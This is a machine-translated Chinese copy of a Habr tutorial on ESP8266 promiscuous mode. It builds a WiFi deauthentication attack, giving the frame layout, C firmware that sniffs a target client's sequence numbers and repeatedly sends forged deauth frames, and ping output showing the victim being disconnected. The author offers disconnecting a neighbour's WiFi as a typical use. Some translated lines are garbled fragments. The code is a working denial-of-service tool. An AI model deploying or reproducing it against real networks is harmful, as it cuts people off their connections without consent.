微控制器ESP-8266中的混杂模式

我想许多人都会同意ESP-8266是DIY和物联网的伟大发明。一种WiFi传感器,可以连接到Arduino,或者甚至代替Arduino,用于将天气数据发送到服务器。有许多不同的固件可以使您执行此操作:从与Arduino结合使用的普通调制解调器用于LUA跟随器的NodeMCU到由ESP完全提供服务的众多Web服务器(例如)。

图片

通常,从中国收到微型微控制器后,您不太可能想要编写自己的固件,而是将使用其中一种固件。这有两个原因:无论您怎么想,它都已实施而且您不太可能想使用带有拐杖和未记录功能的中文SDK。而且,不要被有吸引力的站点设计所迷惑:为ESP编写固件是痛苦和痛苦。如果这不吓到您,那么欢迎您。本文针对的是对ESP经验最少的arduino:您已经知道如何收集固件并将其写入微控制器。

从标题可以看到,在ESP的情况下,我们将直接使用802.11堆栈。ESP上的混杂模式-能够从空中发送和接收“外来”数据包。应用领域不多:统计分析(收集各种数据,例如取决于频率的拥塞)以及网络的渗透和黑客攻击。在后一种情况下,典型的儿童脚本消遣是邻居在玩DotA /坦克时从其WiFi路由器取消身份验证(断开连接)。通常,为此,聪明的人安装了Kali Linux并使用air * -ng跳过集,我们将使用微型控制器。
怎么了
, .


为此,除了硬件之外,我们还需要一个API(我使用过ESP8266 Non-OS SDK API参考,链接可能很快就会中断)和一个出色的esp-open-sdk项目,它将为您完成大部分项目组装。可以在github上找到基于这篇文章的结果的一个半成品(出于道德原因)

取消验证。谁不知道- 分手您可以使用发送到附近空中的几十个字节的数据来实现WiFi连接。纯粹出于概念上的考虑,不会保存加密:在通信不佳且数据包丢失的情况下提供了deauth。因此,需要一种有效的机制来向客户端大喊“我已厌倦”,并从头开始连接。在这里,这不取决于加密。在我们的案例中,我们将假装接入点无法承受,我们将代表该接入点向满意的客户发送一封信。软件包的结构如下:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]


对知识的贪婪自己会发现魔术常数的含义,但我将简要描述这些变量:

  • two_random_bytes将被微控制器覆盖;
  • client_MAC_address客户端的MAC设备的物理地址的6个字节;
  • ap_MAC_address服务器(路由器,接入点)的MAC设备的物理地址的6个字节;
  • seq_N_lo,seq_n的高低字节,数据包的序列号乘以16(保留最低有效4位,以便再次发送同一数据包)


所以

步骤1:将ESP置于站点模式

遵循中国朋友的坦率评论,这仅仅是必要的(没有解释)。

void ICACHE_FLASH_ATTR
user_init()
{
    uart_init(115200, 115200);
    os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
    
    // Promiscuous works only with station mode
    wifi_set_opmode(STATION_MODE);
    
    // Set timer for deauth
    os_timer_disarm(&deauth_timer);
    os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
    os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
    
    // Continue to 'sniffer_system_init_done'
    system_init_done_cb(sniffer_system_init_done);
}


除其他事项外,我们在此处设置串行的输入/输出速度,以便能够读取调试消息,使用内置计时器每隔DEAUTH_INTERVAL毫秒调用deauth方法,并在进行第二阶段初始化之前让ESP沙沙作响。

怎么了
, user-defined ESP , WiFi , . while(1) watchdog .


步骤2:将ESP置于混杂模式

为此,我们定义了以前使用的sniffer_system_init_done函数。
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
    // Set up promiscuous callback
    wifi_set_channel(channel);
    wifi_promiscuous_enable(0);
    wifi_set_promiscuous_rx_cb(promisc_cb);
    wifi_promiscuous_enable(1);
}

在这里,我们设置WiFi频段(数据发送/接收通道,请参阅您所在国家/地区的说明),记录接收promisc_cb数据包的回调并运行混杂模式。为什么我们需要此回调?

步骤3:嗅出包装

数据包的取消验证参数之一seq_n表示我们已收到前一个数据包,而我们知道下一个数据包的序列号。为此,我们需要收听其他人的连接并记录此seq_n。

static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
    if (len == 12){
        struct RxControl *sniffer = (struct RxControl*) buf;
    } else if (len == 128) {
        struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
    } else {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        int i=0;
        // Check MACs
        for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
        for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
        // Update sequence number
        seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
    }
}


ifs的级联与具有各种802.11标准的黑魔法相关联当然,ESP仅支持最必要的设置,而不能以5Ghz的频率工作。文档和示例中提供了所有结构的描述,但是我们需要一个小的结构:在这种情况下,数据字段sniffer-> buf。我们检查数据包是否来自接入点,并已发送给我们的受害者,如果是,则写入2个字节的seq_n。顺便说一句,相反方向的数据包具有单独的编号。

步骤4:提交

唯一的事情就是发送包裹。

uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
    int i=0;
    
    // Type: deauth
    buf[0] = 0xC0;
    buf[1] = 0x00;
    // Duration 0 msec, will be re-written by ESP
    buf[2] = 0x00;
    buf[3] = 0x00;
    // Destination
    for (i=0; i<6; i++) buf[i+4] = client[i];
    // Sender
    for (i=0; i<6; i++) buf[i+10] = ap[i];
    for (i=0; i<6; i++) buf[i+16] = ap[i];
    // Seq_n
    buf[22] = seq % 0xFF;
    buf[23] = seq / 0xFF;
    // Deauth reason
    buf[24] = 1;
    buf[25] = 0;
    return 26;
}

/* Sends deauth packets. */
void deauth(void *arg)
{
    os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
    // Sequence number is increased by 16, see 802.11
    uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    wifi_send_pkt_freedom(packet_buffer, size, 0);
}


第一个函数将必要的数据写入缓冲区,第二个函数将其发送。

步骤5:检查

为了测试性能,我使用了自己的计算机。
结果不言而喻
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms



为了进行客观的分析,您可以使用Wireshark:



该包以我们发送该包的形式完全可见。

那真的有效吗?不行 在SDK的当前版本被打破 pofiksili。可以发送广播数据包,但仅此而已。但是旧的SDK被精心保存并作为GitHub上的示例的一部分提供请谨慎使用。

Source: https://habr.com/ru/post/zh-CN397741/


All Articles